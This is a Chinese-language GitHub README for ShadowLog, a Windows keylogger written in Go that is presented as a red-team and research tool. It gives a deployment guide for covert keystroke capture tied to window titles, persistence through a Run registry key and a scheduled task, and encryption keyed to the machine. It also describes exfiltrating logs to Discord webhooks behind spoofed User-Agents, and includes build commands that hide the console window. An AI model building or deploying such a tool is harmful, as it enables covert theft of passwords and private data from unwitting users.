BGx-11/ShadowLog
GitHub: BGx-11/ShadowLog
一款面向 Windows 平台的高隐蔽性键盘监控框架,结合硬件绑定加密和上下文感知捕获能力,为红队评估和安全研究提供了完整的击键记录与数据渗出方案。
Stars: 0 | Forks: 0
# Shadow Log:隐蔽活动分析



Shadow Log 是一个高性能的原生系统监控框架,专为高级网络安全研究和授权安全演示而设计。它完全使用 Go 语言构建,具有零运行时依赖的特点,为企业级的隐蔽活动捕获和安全数据渗出提供了解决方案。
## 技术特性
### 🛡️ 高级隐蔽性与 OPSEC
- **统一身份**:系统在所有遥测数据、注册表项和计划任务中均标识为 **`Shadow Log`**,以实现透明的系统管理。
- **注意**:在安装或卸载期间,终端可能会短暂闪烁。这是系统服务注册的正常行为。
### 🌐 通用精准捕获
- **国际化键盘支持**:利用 Windows `ToUnicode` API 确保在所有区域实现 100% 的准确率,正确捕获符号、重音字符和上档字符。
- **上下文感知元数据**:每个捕获的事件都会自动与前台 `ProcessID`、应用程序名称和活动窗口标题进行关联。
- **零延迟性能**:实现了活动窗口句柄缓存;系统仅在前台窗口实际发生变化时才查询进程元数据,将 API 调用和 CPU 开销降至可忽略的水平。
### 🔐 硬件绑定安全
- **机器绑定加密**:日志使用 **AES-256-GCM** 进行加密。加密密钥从主机唯一的 `MachineGuid` 动态派生,这意味着如果渗出数据被转移到没有原始 GUID 的其他系统上,将失去取证价值。
- **异步渗出**:健壮的缓冲工作池通过 Discord Webhooks 处理日志传输,具有伪装的浏览器 User-Agents 和智能的网络重试逻辑。
## 🚀 部署指南
### 选项 1:快速开始(安全分析师)
如果您是一名分析师,且不希望从源代码编译,请从项目根目录下载最新的 **`ShadowLog_Release.zip`**。
1. **解压**:在主机上解压该压缩包。
2. **初始化**:以管理员身份运行 `ShadowLog.exe` 以启动设置向导。
- *注意:在注册 hooks 时,终端窗口可能会闪烁几次。*
3. **配置**:输入您的 Discord Webhook URL,然后点击 **Test Connection**。这是接收您唯一的 **Machine GUID** 所必需的步骤,您稍后需要它来解密日志。
4. **部署**:点击 **Initialize Monitor**。服务将初始化并作为 `Shadow Log` 静默运行。
### 选项 2:从源代码编译(开发者)
### 前置条件
- **Go 1.21+**:编译所需。
- **Windows 10/11**:原生 hooks 的目标环境。
- **管理员权限**:在初始化阶段注册系统 hooks 所需。
### 编译
使用以下命令生成经过优化的、剥离符号表的二进制文件:
```
# 构建 Core Monitor 与设置
go build -ldflags "-H=windowsgui -s -w" -o ShadowLog.exe main.go
# 构建 Forensic Decryptor
go build -ldflags "-H=windowsgui -s -w" -o Decryptor.exe decryptor/main.go
# 构建 System Uninstaller
go build -ldflags "-H=windowsgui -s -w" -o Uninstaller.exe uninstaller/main.go
```
## 取证重建
1. **恢复**:在主机上运行 `Decryptor.exe`。
2. **解密**:输入在测试脉冲发送期间获得的唯一 **Machine GUID**,以重建并读取本地加密日志。
3. **卸载**:运行 `Uninstaller.exe` 以清除所有进程、注册表项、计划任务和取证系统痕迹。
## 系统规格
- **服务名称**:`Shadow Log`
- **互斥体 ID**:`Shadow_Log_Sync`
- **注册表项**:`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Shadow Log`
- **计划任务**:`Shadow Log Reporting`
- **加密标准**:AES-256-GCM(设备绑定)
**Devansh Agarwal (BGx)**
*网络安全专业学生 & 学生开发者*
[作品集:iambgx.in](https://iambgx.in)
标签:AES-256-GCM, DAST, Discord机器人, EVTX分析, Golang, OPSEC, ToUnicode, Webhook, Windows平台, 上下文感知, 事件捕获, 企业级安全, 力导向图, 威胁情报, 安全编程, 定时任务, 开发者工具, 异常检测, 恶意软件分析, 数据加密, 数据窃取, 日志审计, 注册表, 监控软件, 硬件绑定, 系统服务, 系统监视, 网络安全, 网络安全演练, 远程管理, 钩子技术, 键盘记录器, 隐私保护, 隐蔽监控, 零依赖